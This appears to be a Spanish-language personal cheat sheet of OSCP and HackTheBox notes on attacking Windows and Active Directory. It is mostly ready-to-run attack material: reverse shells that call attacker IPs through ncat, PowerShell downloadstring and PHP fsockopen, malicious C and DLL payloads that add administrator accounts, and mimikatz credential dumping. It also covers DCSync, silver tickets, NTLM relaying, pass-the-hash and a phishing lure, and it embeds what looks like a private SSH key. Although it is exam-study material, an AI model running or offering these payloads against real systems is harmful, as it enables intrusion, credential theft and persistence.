[[Resolucion de Maquinas Propias/HackTheBox/ease/bounty|bounty]] –> otros apuntes
./PrintSpoofer64.exe -c "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"
.\PrintSpoofer64.exe -i -c powershell.exe
./GodPotato-NET2.exe -cmd "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"
./GodPotato-NET4.exe -cmd "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"
./GodPotato-NET35.exe -cmd "C:\TEMP\ncat.exe 192.168.45.235 5555 -e cmd"n
Dumpear logon passwords con mimikatz cuando somos administradores en un workstation
[[7 – Atacking SAM]]32dsdsdsds
[[8 – Attacking LSASS]]
[[8 – Attacking Active Directory & NTDS.dit]] –> esto solo en DC
./mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit"
## Dumping LSA with mimikatz
reg save hklm\sam sam.hiv
reg save hklm\security security.hiv
reg save hklm\system system.hiv
./mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam sam.hiv security.hiv system.hiv" "exit"
./mimikatz.exe "lsadump::sam /system:C:\TEMP\SYSTEM /sam:C:\TEMP\SAM" "exit"
./mimikatz.exe "lsadump::sam sam.hiv security.hiv system.hiv" "exit"
# lal sam lo suyo en las makians standalone
Cambiar de usuario. Requiere una interfaz gráfica de usuario (GUI), como una sesión RDP.
runas /user:Administrator cmd
## Si estamos por consola podemos
runas /user:administrator "cmd.exe /c whoami > whoami.txt"
Servicios Vulnerables
Compilación cruzada para exe maliciosa
Cross compile para windows y linux. COMPILACION DE ARCHIVOS PARA WINDOWS
#include <stdlib.h>
int main ()
{
system("C:\TEMP\ncat.exe 192.168.45.217 7777 -e cmd");
return 0;
}
#ahora compilamos
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
Linux
gcc exploit.c -o exploit
chmod +x exploit
./exploit
URLENCODE
https://meyerweb.com/eric/tools/dencoder/
DLL
Compilación cruzada para DLL maliciosas
Para enumerar podemos ejecutar primero
$UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
function ModifiablePath {param ([Parameter(Mandatory = $true)][String[]]$Paths);$Sids = [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | Select-Object -ExpandProperty Value;$Sids += $UserIdentity.User.Value;ForEach($Path in $Paths){try{$Path=$Path.Replace('"', "");if (-Not(Test-Path -Path $Path -ErrorAction Stop)){$Path=Split-Path -Path $Path -Parent};if (Test-Path -Path $Path -ErrorAction Stop) {$FILE=Resolve-Path -Path $Path | Select-Object -ExpandProperty Path;Get-Acl -Path $Path | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {if($_.FileSystemRights){$Rights = $_.FileSystemRights.value__}else{$Rights = $_.RegistryRights.value__};if(@([uint32]'0x40000000',[uint32]'0x10000000',[uint32]'0x02000000',[uint32]'0x00080000',[uint32]'0x00040000',[uint32]'0x00000004',[uint32]'0x00000002') | Where-Object { $Rights -band $_ }){if ($Sids -contains $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExcludeProperty Value) {$Path}}}}}catch{$false}}}
## ahora ejecutamos
Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { if(ModifiablePath $_){ $_ } }
## directorios especiales
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*','C:\Windows\*' | ForEach-Object {try{if(ModifiablePath $_){ $_ }}catch{}}
#También es posible realizar una comprobación manual con CMD e icalcs de la siguiente forma.
for %I in ("%PATH:;=" "%") do (icacls %I)
#También es posible realizar una comprobación manual con CMD utilizando icalcs para comprobar los permisos.
#Archivos de programa y Windows
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Windows\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Windows\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Si tenemos permisos podemos ejecutar lo siguiente
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
# tambien
i = system("C:\TEMP\ncat.exe 192.168.45.217 7777 -e cmd");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
# ahora ocmpilamos
x86_64-w64-mingw32-gcc adduser_dll.c --shared -o adduser.dll
# tambien podemos hacer una creacon de dll con msfvenmon
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=TU_IP LPORT=PUERTO -f dll -o payload.dll
DCsync attack
[[DCSync Attack]]
[[22 – DCSync]]
Para lanzar un ataque DEsync, un usuario debe tener los siguientes privilegios:
– Replicating Directory Changes
– Replicating Directory Changes All
– Replicating Directory Changes in Filtered Set rights.
By default, members of the Domain Admins, Enterprise Admins, and Administrators groups have these rights assigned.
Usando mimikatz, proporcionamos el usuario para el cual queremos obtener credenciales
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
#usando impacket-secretsdump.
impacket-secretsdump -just-dc-user Administrator corp.com/jeffadmin:"password"@192.168.50.70
## con hash
impacket-secretsdump -just-dc-user Administrator -hashes :4979d69d4ca66955c075c41cf45f24dc oscp.exam/tom_admin@10.10.164.140
# todos los usuarios
impacket-secretsdump -hashes :4979d69d4ca66955c075c41cf45f24dc oscp.exam/tom_admin@10.10.164.140
````
### Silver tickets
[[8 - AD - Silver Ticket]]
[[14 - Enumeracion MSSQL]] AQUI VEMOS COMO CREAR UN SILVER TICKECKT SI OBTENEMOS LAS CREDENCIALES DEL SERVICIO DE MSQL Y ASI CONSEGUIMOS MAS PRIVILEGIOS
[[8.1 Silver Attack maquina Scrambled]]
Con la contraseña de la cuenta de servicio o su hash NTLM asociado, podemos crear nuestro propio ticket de servicio para acceder al recurso de destino (en nuestro ejemplo, la aplicación IIS) con los permisos que deseemos.
Este ticket personalizado se conoce como silver ticket y, si el nombre principal del servicio se utiliza en varios servidores, puede utilizarse contra todos ellos.
Para crear un ticket plateado, necesitamos recopilar los siguientes tres datos:
- Hash de la contraseña del SPN
- SID del dominio
- SPN de destino
Para obtener el hash de la contraseña del SPN, podemos usar una herramienta como mimikatz.
Para obtener el SID del dominio, podemos usar `whoami /user`
```c
corp\jeff S-1-5-21-1987370270-658905905-1781884369-1105
# y para obtener el SPN, podemos enumerarlo usando `impacket-GetUserSPNs`.
impacket-GetUserSPNs corp.com/usuario:password
# Con toda esta información, podemos falsificar un TGS (ticket plateado) de la siguiente manera dentro de mimikatz:
kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:5d28cf5252d32971419580a51484ca09 /user:geffadmin
#ahora lo usamos
dir \\web04.corp.com\c$
# o lo exportamos a kirbi y lo usamos desde la mauqina atacante
kerberos::golden
/sid:SID
/domain:corp.com
/target:web04.corp.com
/service:http
/rc4:HASH
/user:jeffadmin
/ticket:silver_http_web04.kirbi
kirbi2ccache silver_http_web04.kirbi silver.ccache
export KRB5CCNAME=$(pwd)/silver.ccache
Responder Captura Net-NTLMv2
Obtenga hashes NTLM de cuentas mediante el protocolo Net-NTLMv2. Esto es útil cuando no se tienen los permisos para ejecutar mimikatz y volcar hashes NTLM.
#Primero, configuramos un servidor SMB falso.
sudo responder -I tun0
#Luego, forzamos la conexión desde el objetivo remoto usando una cuenta comprometida cuyo hash NTLM desconocemos.
dir \\192.168.45.159\test
#Finalmente, desciframos el hash con hashcat o john.
hashcat -m 5600 paul.hash rockyou.txt
[[matar procesos Responder]]
Net-NTLM relaying
La idea ahora es retransmitir información NTLM a otro servicio de Windows.
Podemos hacerlo cuando obtenemos acceso a una cuenta de usuario en una máquina y queremos usar su hash NTLM en otra.
Si la autenticación retransmitida proviene de un usuario con privilegios de administrador local, podemos usarla para autenticar y luego ejecutar comandos a través de SMB con métodos similares a los utilizados por psexec o wmiexec.
Podemos realizar este ataque usando ntlmrelayx.
Observe que -t se refiere al objetivo al que retransmitimos el hash NTLM, mientras que -c se refiere al comando que se ejecutará.
En este caso, estamos ejecutando un shell inverso de PowerShell codificado en base64.
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."
````
### GPP (Group Policy Preferences)
[[Policies]]
Digamos que tienes lo siguiente
**Groups.xml**
```xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Podemos descifrar la cpassword con el siguiente script de Python
gpp-decrypt.py
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
if __name__ == "__main__":
key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
iv = b"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ=="
ciphertext = base64.b64decode(ciphertext)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, AES.block_size)
print(plaintext.decode())
Para utilizar el script haga lo siguiente
python3 -m venv venv
. venv/bin/activate
pip3 install pycryptodome
python3 gpp-decrypt.py
La clave se obtuvo directamente de Microsoft. Referencias:
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN
- https://adsecurity.org/?p=2288
Client-Side
Email phishing attack
enviar puto email
#First we install and enable our `webdav` server
pip3 install wsgidav
pip3 install cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root webdav/
#Then we create a `config.Library.ms` file with the following content. Notice the IP address.
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.239</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
#We craft a malicious `powershell.lnk` that contains our powershell payload. This step has to be done in a windows VM.
powershell -c "iex(new-object net.webclient).downloadstring('http://192.168.45.239:1337/Invoke-PowerShellTcp.ps1')"
#and we send a malicious `body.txt`
Hi,
please click on the attachment :D
using `smtp` with `swaks`
swaks -t jim@relia.com --from test@relia.com --attach @config.Library-ms --server 192.168.186.189 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
Post-Exploitation / Lateral Movement
Aquí se trata principalmente de Windows AD.
Después de rootear una máquina, todos los pasos que debemos seguir son para continuar y extraer todos los datos para la siguiente máquina hasta llegar al usuario del dominio.
Linux
[[Escalada de privilegios Linux]]
chisel enumeracion interna
#setup chisel tunnel
certutil -urlcache -split -f 'http://192.168.45.169/rev.exe' C:\\TEMP\chisel64.exe
certutil -urlcache -split -f "http://192.168.45.156/test.txt" test.txt
(local kali) ./chisel server -p 8000 --reverse
(remote window) chisel64.exe client 192.168.45.217:8000 R:socks
#enumerate ports
proxychains nmap -sT --top-ports=100 -Pn <IP>
#enumerate services
proxychains crackmapexec smb IP1 IP2 -u USERNAME -p PASSWORD --shares
proxychains crackmapexec winrm IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec rdp IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec ssh IP1 IP2 -u USERNAME -p PASSWORD
proxychains crackmapexec smb IP1 IP2 -u USERNAME -H NTLM-HAHSH --shares
````
## PsExec
Para usar esta herramienta necesitamos:
- El usuario que se autentica en la máquina de destino debe pertenecer al grupo local de administradores.
- El recurso compartido ADMIN$ debe estar disponible.
- La función Compartir archivos e impresoras debe estar activada.
Los dos últimos requisitos se cumplen por defecto en los sistemas Windows Server modernos.
Hay diferentes maneras de aprovechar esto.
## Pass the NTLM hash of admin
```c
1. Primero volcamos la contraseña con mimikatz
./mimikatz64.exe "privilege::debug" "token::elevate" "lsadump:sam"
1. Luego usamos el hash con psexec winrm o lo que sea Fíjate en el formato
“LMHash:NTHash”, where LMHash is set to 0 because we do not use it.
impacket-psexec -hashes 00000000000000000000000000000000:7a39311ea6f0027aa955abed1762964b Administrator@192.168.50.212
impacket-wmiexec -hashes 00000000000000000000000000000000:7a32350ea6f0028ff955abed1762964b Administrator@192.168.50.212
evil-winrm -i 192.168.50.212 -u Administrator -H 7a39311ea6f0027aa955abed1762964b
crackmapexec smb 192.168.50.212 -u Administrator -H 7a39311ea6f0027aa955abed1762964b
impacket-psexec
impacket-psexec active.htb/administrator@10.10.10.100
Ejemplo ejecucion
impacket-psexec active.htb/administrator@10.10.10.100
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file DtfeFzTI.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service IOHP on 10.10.10.100.....
[*] Starting service IOHP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
WMI, winRM and evil-winrm
Primero, con WMI (Instrumental de Administración de Windows) y PowerShell.
El shell inverso se generó a partir del código de Reverse Shells.
$username = 'jen';
$password = 'password';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
#Luego, con WinRM, la versión de Microsoft del protocolo WS-Management, utiliza el puerto 5985 para tráfico HTTP cifrado y el puerto 5986 para HTTP simple.
#`winrs` solo funciona con usuarios de dominio. Para que funcione, el usuario de dominio debe pertenecer al grupo Administradores o Usuarios de Administración Remota en el host de destino.
winrs -r:files04 -u:jen -p:passworddd "cmd /c hostname & whoami"
#Para generar un shell, simplemente ejecute:
winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
También podemos usar PowerShell a través del cmdlet New-PSSession
$username = 'jen';
$password = 'password';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1
----
#Por último, podemos utilizar evil-winrm, que puede utilizarse tanto con la contraseña (`-p`) como con el hash (`-H`)
proxychains evil-winrm -i 192.168.243.153 -u administrator -p Password
proxychains evil-winrm -i 10.10.132.146 -u admin -H 4979f29d4cb99845c075c41cf45f24df
RDP
Configure RDP habilitando RDP y agregando administrador al grupo RDP
%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe
change admin password
$password = ConvertTo-SecureString "test!" -AsPlainText -Force
$UserAccount = Get-LocalUser -Name "Administrator"
$UserAccount | Set-LocalUser -Password $Password
enable RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
add administrator to RDP group
net localgroup "Remote Desktop Users" "Administrator" /add
connect to rdp
xfreerdp /u:Administrator /p:"test!" /v:192.168.236.121
#Configurar RDP creando un nuevo usuario para RDP
$password = ConvertTo-SecureString "test!" -AsPlainText -Force
New-LocalUser "test" -Password $password -FullName "test" -Description "test"
Add-LocalGroupMember -Group "Administrators" -Member "test"
net localgroup "Remote Desktop Users" "test" /add
#Habilitamos RDP de forma remota (primero abrimos el puerto y configuramos el servidor, luego creamos un nuevo usuario)
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1
$password = ConvertTo-SecureString "vau!XCKjNQBv3$" -AsPlainText -Force
New-LocalUser "test" -Password $password -FullName "test" -Description "test"
Add-LocalGroupMember -Group "Administrators" -Member "test"
net localgroup "Remote Desktop Users" "test" /add
pass the hash
Esta técnica requiere una conexión SMB a través del firewall (comúnmente el puerto 445) y que la función Compartir archivos e impresoras de Windows esté habilitada.
Esta técnica de movimiento lateral también requiere que el recurso compartido de administrador, ADMIN$, esté disponible.
Estos requisitos son comunes en entornos empresariales internos.
Este tipo de movimiento lateral suele requerir derechos administrativos locales.
La idea básica es que el atacante se conecta a la víctima mediante el protocolo Bloque de mensajes del servidor (SMB) y realiza la autenticación mediante el hash NTLM.
Cabe destacar que PtH utiliza el hash NTLM legítimamente.
Sin embargo, la vulnerabilidad radica en que obtuvimos acceso no autorizado al hash de la contraseña de un administrador local.
Podemos usar varias herramientas como:
- **crackmapexec**
crackmapexec smb 192.168.242.147 -u web_svc -H 820d6348890293116990101307197053
- **evil-winrm**
proxychains evil-winrm -i 192.168.243.153 -u administrator -p Password
- **impacket-psexec**
impacket-psexec -hashes 00000000000000000000000000000000000:7a38310ea6f0038ee955abed1762964b Administrator@192.168.50.212
- **impacket-wmiexec**
impacket-wmiexec -hashes 0000000000000000000000000000000000:7a38310ea6f0038ee955abed1762964b Administrador@192.168.50.212
overpass the hash
[[13.1 – Overpass the tickets ejemplo]]
Con overpass the hash, podemos sobreabusar de un hash de usuario NTLM para obtener un Ticket Granting Ticket (TGT) completo de Kerberos. Después, podemos usar el TGT para obtener un Ticket Granting Service (TGS).
La idea es convertir el hash NTLM en un ticket Kerberos y evitar el uso de la autenticación NTLM.
Una forma sencilla de hacerlo es con el comando sekurlsa::pth de Mimikatz.
sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372419bf6e93364cc93075 /run:powershell
En este punto, tenemos una nueva sesión de PowerShell que nos permite ejecutar comandos como jen. Podemos acceder a varios servicios y hacer que Kerberos genere un TGT y un TGS, convirtiendo así un hash NTLM en un TGT de Kerberos. Podemos usar este ticket en diversas herramientas, como la aplicación oficial PsExec de Microsoft, que no acepta hashes de contraseñas.
pass the ticket
[[13.2 – Pass the ticket ejemplo]]
[[13 – Ataque Pass The Ticket (PtT) Windows]] –> si encontramos tickets a recursos de otra maquina podemos obtenerlos y asi acceder a ellos
[[14 – Ataque Pass the Ticket (PtT) from Linux]]
El ataque «Pasar el Ticket» aprovecha el TGS, que puede exportarse y reinyectarse en otra parte de la red para luego usarse para autenticarse en un servicio específico.
Si los tickets de servicio pertenecen al usuario actual, no se requieren privilegios administrativos.
Primero, exportamos todos los tickets TGT/TGS desde la memoria dentro de la sesión jen mediante el comando sekurlsa::tickets /export.
Este comando analiza el espacio del proceso LSASS en memoria para buscar cualquier TGT/TGS, que se guarda en el disco en el formato kirbi mimikatz.
PS C:\Windows\system32> whoami
corp\jen
mimikatz # privilege::debug
...
mimikatz # sekurlsa::tickets /export
#Luego podemos elegir cualquier ticket e inyectarlo a través de mimikatz mediante el comando `kerberos::ptt`
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
#y ahora podemos ejecutar `klist` para imprimir los tickets disponibles actualmente
klist
## ahora podriamos aaceder a un recurso
dir \\ws02\c$
# si hubiese un archivo credentials.txt por ejemplo
type \\WS02\c$\Users\credentials.txt
# ahora poderiamos iniciar serison en ws02 por winrm etc etc
Node
## ejecuar comandos
require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
CURL
## COMO VIMOS OBTUVIMOS ESTO Y NOS TOKENS
PASSWORD='ClHivjai23456'
SECRET_PHRASE='canyouguess'
API_KEY="169184101400-ghcns9"
SPECIAL_NUMBER=24
## VER LA RESPUESTA PRIMERO
curl -i http://IP/backend/api/v2/user/1
# PODRIAMOS HABER PROBADO todo lo siguiente o poco a poco para ver respuestas incluso json vacio {}
curl -X POST http://IP/backend/api/v2/user/1 \
-H "Content-Type: application/json" \ss
-d '{
"password": "ClHivjai23456",
"secret_phrase": "canyouguess",
"api_key": "169184101400-ghcns9",
"special_number": 24
}'
curl -X POST http://IP/backend/api/v2/user/1 \
-H "Authorization: Bearer tokenaqui" \
-H "Content-Type: application/json" \
-d '{
"password": "ClHivjai23456",
"secret_phrase": "canyouguess",
"api_key": "169184101400-ghcns9",
"special_number": 24
}'
# pasar token,apikey por cabeceras
-H "Authorization: Bearer TOKEN"
-H "API-Key: TOKEN"
# solo token
curl -X POST http://IP/backend/api/v2/user/1 -H "Authorization: Bearer tokenaqui"
curl -X POST http://IP/backend/api/v2/user/1 -H "Authorization: Bearer tokenaqui" -H "secret_phrase: canyouguess" -H "API_KEY: 169184101400-ghcns9"
# PROBAR TOKEN CON PARAMETRO
curl "http://IP/backend/api/v2/user/1?token=TOKEN1"
curl "http://IP/backend/api/v2/user/1?api_key=169184101400-ghcns9"
?special=24
## trabajar con curl
H "Content-Length: 50"
# datos con post
curl -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/
## con cookies
curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/
## cookies en encabezado
curl -H 'Cookie: PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/
## MANDAR JSON
curl -X POST -d '{"search":"london"}' -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' -H 'Content-Type: application/json' http://<SERVER_IP>:<PORT>/search.php
## PROBAR TODOS LOS METODOS Y VERBOS
curl http://192.168.135.99:33333/list-current-deployments -X POST
curl http://192.168.135.99:33333/list-current-deployments -X PUT
POST
PUT
DELETE
PATCH
OPTIONS
HEAD
TRACE
Ver mas en [[8 – CRUD API]]
Escenario REAL OSCP (esto sí pasa)
Tienes:
– WS01 (workstation)
– WS02 (server)
– DC
En WS01:
– Eres Administrador local
– Ejecutas:
sekurlsa::tickets /export
Y ves esto:
cifs-ws02.corp.local.kirbi
📌 Ese ticket NO es tuyo
📌 Es de otro usuario que accedió a WS02
¿Qué haces ahora?
kerberos::ptt cifs-ws02.corp.local.kirbi
Y luego:
dir \\ws02\c$
🎯 Movimiento lateral SIN password
🎯 Sin tocar el DC
🎯 Sin crackear nada
en la oscp tengo en el examen
mi makina linux -> conexion con ws01 —> segunda interfaz conexion con ws02 –> DC (creo que el ws01 TENDRA CONEXCION YA CON EL dc NO?)
necesito saber con ligolo como hago el pivoting ositaaaa que no me entero si mi interfaz es la tun0 CON LA oscp COMO LO HAGO QUE NO MATE ESA INTERFAZ?
Crear Usuarios agregarlos a grupos
Add-LocalGroupMember -Group Administartors -Member ariah
net localgroup Administrators ariah /add
## para crearlo
net user ariah P@ssw0rd123 /add
net localgroup Administrators ariah /add
xxd
echo "01101000 01101111 01101100 01100001" | xxd -r -b
# Si viene sin espacios
echo "BINARIO" | sed 's/.\{8\}/& /g' | xxd -r -b
# si falla
python3 -c 'print("".join([chr(int(b,2)) for b in "01101000 01101001".split()]))'
creacion de archivos en c
// libsecurity.c
#include <stdlib.h>
void init_plugin() {
system("chmod u+s /bin/bash");
}
AHora lo compilamos
gcc -fPIC -shared libsecurity.c -o libsecurity.so
base64
poner codigo base64 en una linea
tr -d '\n' < test.txt | base64 -d > output.pdf
pip
## si en algun script falla
pip2 install requests
pip install requests
pip3 install requests
VIM
🟢 Abrir un archivo
vim archivo.txt
Si no existe, lo crea.
Diccionarios
Los primeros que deberiamos de ver son
/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
#enumeracion media
/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
# extensiones
-x php,txt,html,log,bak,old,zip,tar,backup,conf,config,sql,swp,save,aspx,jsp
# subdominios
/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
#parametros
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
#usuarios
xato-net-10-million-usernames.txt
#apis
/usr/share/wordlists/SecLists/Discovery/Web-Content/api/
/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
Creacion de lista de usuarios y password
# tenemos por ejemplo usuarios como
Anne Howard
Sasha Payne
## generar usuarios
https://github.com/urbanadventurer/username-anarchy
./username-anarchy < nombres.txt > users.txt
## tambien
https://github.com/krlsio/python/blob/main/namemash.py
python3 namemash.py names.txt > users.txt
## generar passwords
cuup -w users.txt
generar lista de palabras para password por si falta algun caracter (crunch)
[[crunch -> generacion de lista de palabras (para password)]]
Copiar bien una KEY ssh
cat > id_ed25519 << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBEhRgOw+Adwr6+R/A54Ng75WK1VsH1f+xloYwIbFnoAwAAAJgtoEZgLaBG
YAAAAAtzc2gtZWQyNTUxOQAAACBEhRgOw+Adwr6+R/A54Ng75WK1VsH1f+xloYwIbFnoAw
AAAECk3NMSFKJMauIwp/DPYEhMV4980aMdDOlfIlTq3qy4SkSFGA7D4B3Cvr5H8Dng2Dvl
YrVWwfV/7GWhjAhsWegDAAAADnRlc3RzQGhhdC13b3JrAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
EOF
Payloads
\$sock=fsockopen(\"192.168.49.64\",443); exec(\"/bin/bash <&3 >&3 2>&3\");
✍️ Escribir / editar
Cuando abre NO puedes escribir aún.
Pulsa:
i
Ahora estás en INSERT → escribe normal.
⛔ Salir del modo escribir
Pulsa:
ESC
💾 Guardar
Con ESC:
:w
🚪 Guardar y salir
:wq
❌ Salir sin guardar
:q!
Pivoting Ligolo
[[ligolo]]
cambiar password net
net user administrador NuevaPassword123!
## siempre que intentameos checkar una password o algo si es de maquina local probar
--local-auth
netexec winrm 10.10.85.142 -u Administrator -H 507e8b20766f720619e9f33d73756b34 --local-auth
–local-auth
smb
winrm
rdp
ssh
mssql
ftp
ldap
ver antes del examen
maquina nagoya –>
crea passwords con meses y nombre de la maquina
extrae informacion de un archivo.exe con la aplicacion dotpeek
obtiene un silver token
APLICACIONES PANELES DE LOGIN Y BUSQUEDA POR GOOGLE
ENUMERACIÓN DE SOFTWARE / LOGIN / CMS / APLICACIONES
[ ] <software> exploit
[ ] <software> RCE
[ ] <software> authenticated RCE
[ ] <software> unauthenticated RCE
[ ] <software> CVE
[ ] <software> searchsploit
--------------------------
AUTENTICACIÓN
[ ] <software> auth bypass
[ ] <software> authentication bypass
[ ] <software> login bypass
[ ] <software> password reset bypass
[ ] <software> account takeover
[ ] <software> privilege escalation
[ ] <software> authentication vulnerability
--------------------------
CREDENCIALES
[ ] <software> default credentials
[ ] <software> default password
[ ] <software> hardcoded credentials
[ ] <software> admin password
[ ] <software> first login
[ ] <software> installation credentials
--------------------------
DOCUMENTACIÓN
[ ] <software> installation
[ ] <software> install guide
[ ] <software> administrator guide
[ ] <software> documentation
[ ] <software> configuration
[ ] <software> manual
[ ] <software> wiki
--------------------------
ESTRUCTURA DE LA APLICACIÓN
[ ] <software> directory structure
